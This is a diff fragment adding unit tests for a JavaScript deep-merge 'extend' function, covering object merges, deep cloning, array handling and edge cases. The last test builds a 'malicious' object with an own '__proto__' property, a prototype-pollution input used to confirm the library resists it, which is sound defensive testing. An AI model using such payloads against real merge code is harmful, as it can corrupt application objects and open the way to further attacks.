+ t.deepEqual(ori, testObject, 'original object is unchanged');
428
+ t.deepEqual(date, new Date(81, 4, 13), 'date is unchanged');
429
+ t.deepEqual(target, testObject, 'object + date is object');
430
+ t.end();
431
+ });
432
+
433
+ test('merge object with object', function (t) {
434
+ var ori = {
435
+ str: 'no shit',
436
+ integer: 76,
437
+ arr: [1, 2, 3, 4],
438
+ date: new Date(81, 7, 26),
439
+ foo: 'bar'
440
+ };
441
+ var target = extend(ori, obj);
442
+ var expectedObj = {
443
+ str: 'me a test',
444
+ integer: 10,
445
+ arr: [1, 'what', new Date(81, 8, 4)],
446
+ date: new Date(81, 4, 13),
447
+ constructor: 'fake',
448
+ isPrototypeOf: 'not a function',
449
+ foo: new Foo()
450
+ };
451
+ var expectedTarget = {
452
+ str: 'me a test',
453
+ integer: 10,
454
+ arr: [1, 'what', new Date(81, 8, 4)],
455
+ date: new Date(81, 4, 13),
456
+ constructor: 'fake',
457
+ isPrototypeOf: 'not a function',
458
+ foo: new Foo()
459
+ };
460
+
461
+ t.deepEqual(obj, expectedObj, 'obj is unchanged');
462
+ t.deepEqual(ori, expectedTarget, 'original has been merged');
463
+ t.deepEqual(target, expectedTarget, 'object + object is merged object');
464
+ t.end();
465
+ });
466
+
467
+ test('deep clone', function (t) {
468
+ var ori = {
469
+ str: 'no shit',
470
+ integer: 76,
471
+ arr: [1, 2, 3, 4],
472
+ date: new Date(81, 7, 26),
473
+ layer: { deep: { integer: 42 } }
474
+ };
475
+ var target = extend(true, ori, deep);
476
+
477
+ t.deepEqual(ori, {
478
+ str: 'no shit',
479
+ integer: 76,
480
+ arr: [1, 2, 3, 4],
481
+ date: new Date(81, 7, 26),
482
+ ori: {
483
+ str: 'me a test',
484
+ integer: 10,
485
+ arr: [1, 'what', new Date(81, 8, 4)],
486
+ date: new Date(81, 4, 13),
487
+ constructor: 'fake',
488
+ isPrototypeOf: 'not a function',
489
+ foo: new Foo()
490
+ },
491
+ layer: {
492
+ integer: 10,
493
+ str: 'str',
494
+ date: new Date(84, 5, 12),
495
+ arr: [101, 'dude', new Date(82, 10, 4)],
496
+ deep: {
497
+ str: 'me a test',
498
+ integer: 10,
499
+ arr: [1, 'what', new Date(81, 8, 4)],
500
+ date: new Date(81, 7, 4)
501
+ }
502
+ }
503
+ }, 'original object is merged');
504
+ t.deepEqual(deep, {
505
+ ori: {
506
+ str: 'me a test',
507
+ integer: 10,
508
+ arr: [1, 'what', new Date(81, 8, 4)],
509
+ date: new Date(81, 4, 13),
510
+ constructor: 'fake',
511
+ isPrototypeOf: 'not a function',
512
+ foo: new Foo()
513
+ },
514
+ layer: {
515
+ integer: 10,
516
+ str: 'str',
517
+ date: new Date(84, 5, 12),
518
+ arr: [101, 'dude', new Date(82, 10, 4)],
519
+ deep: {
520
+ str: 'me a test',
521
+ integer: 10,
522
+ arr: [1, 'what', new Date(81, 8, 4)],
523
+ date: new Date(81, 7, 4)
524
+ }
525
+ }
526
+ }, 'deep is unchanged');
527
+ t.deepEqual(target, {
528
+ str: 'no shit',
529
+ integer: 76,
530
+ arr: [1, 2, 3, 4],
531
+ date: new Date(81, 7, 26),
532
+ ori: {
533
+ str: 'me a test',
534
+ integer: 10,
535
+ arr: [1, 'what', new Date(81, 8, 4)],
536
+ date: new Date(81, 4, 13),
537
+ constructor: 'fake',
538
+ isPrototypeOf: 'not a function',
539
+ foo: new Foo()
540
+ },
541
+ layer: {
542
+ integer: 10,
543
+ str: 'str',
544
+ date: new Date(84, 5, 12),
545
+ arr: [101, 'dude', new Date(82, 10, 4)],
546
+ deep: {
547
+ str: 'me a test',
548
+ integer: 10,
549
+ arr: [1, 'what', new Date(81, 8, 4)],
550
+ date: new Date(81, 7, 4)
551
+ }
552
+ }
553
+ }, 'deep + object + object is deeply merged object');
554
+
555
+ target.layer.deep = 339;
556
+ t.deepEqual(deep, {
557
+ ori: {
558
+ str: 'me a test',
559
+ integer: 10,
560
+ arr: [1, 'what', new Date(81, 8, 4)],
561
+ date: new Date(81, 4, 13),
562
+ constructor: 'fake',
563
+ isPrototypeOf: 'not a function',
564
+ foo: new Foo()
565
+ },
566
+ layer: {
567
+ integer: 10,
568
+ str: 'str',
569
+ date: new Date(84, 5, 12),
570
+ arr: [101, 'dude', new Date(82, 10, 4)],
571
+ deep: {
572
+ str: 'me a test',
573
+ integer: 10,
574
+ arr: [1, 'what', new Date(81, 8, 4)],
575
+ date: new Date(81, 7, 4)
576
+ }
577
+ }
578
+ }, 'deep is unchanged after setting target property');
579
+ // ----- NEVER USE EXTEND WITH THE ABOVE SITUATION ------------------------------
580
+ t.end();
581
+ });
582
+
583
+ test('deep clone; arrays are merged', function (t) {
584
+ var defaults = { arr: [1, 2, 3] };
585
+ var override = { arr: ['x'] };
586
+ var expectedTarget = { arr: ['x', 2, 3] };
587
+
588
+ var target = extend(true, defaults, override);
589
+
590
+ t.deepEqual(target, expectedTarget, 'arrays are merged');
591
+ t.end();
592
+ });
593
+
594
+ test('deep clone === false; objects merged normally', function (t) {
595
+ var defaults = { a: 1 };
596
+ var override = { a: 2 };
597
+ var target = extend(false, defaults, override);
598
+ t.deepEqual(target, override, 'deep === false handled normally');
599
+ t.end();
600
+ });
601
+
602
+ test('pass in null; should create a valid object', function (t) {
603
+ var override = { a: 1 };
604
+ var target = extend(null, override);
605
+ t.deepEqual(target, override, 'null object handled normally');
606
+ t.end();
607
+ });
608
+
609
+ test('works without Array.isArray', function (t) {
610
+ var savedIsArray = Array.isArray;
611
+ Array.isArray = false; // don't delete, to preserve enumerability
612
+ var target = [];
613
+ var source = [1, [2], { 3: true }];
614
+ t.deepEqual(
615
+ extend(true, target, source),
616
+ [1, [2], { 3: true }],
617
+ 'It works without Array.isArray'
618
+ );
619
+ Array.isArray = savedIsArray;
620
+ t.end();
621
+ });
622
+
623
+ test('non-object target', function (t) {
624
+ t.deepEqual(extend(3.14, { a: 'b' }), { a: 'b' });
625
+ t.deepEqual(extend(true, 3.14, { a: 'b' }), { a: 'b' });
626
+
627
+ t.end();
628
+ });
629
+
630
+ test('__proto__ is merged as an own property', function (t) {
631
+ var malicious = { fred: 1 };
632
+ Object.defineProperty(malicious, '__proto__', { value: { george: 1 }, enumerable: true });
633
+ var target = {};
634
+ extend(true, target, malicious);
635
+ t.notOk(target.george);
636
+ t.ok(Object.prototype.hasOwnProperty.call(target, '__proto__'));
637
+ t.deepEqual(Object.getOwnPropertyDescriptor(target, '__proto__').value, { george: 1 });
638
+
639
+ t.end();
640
+ });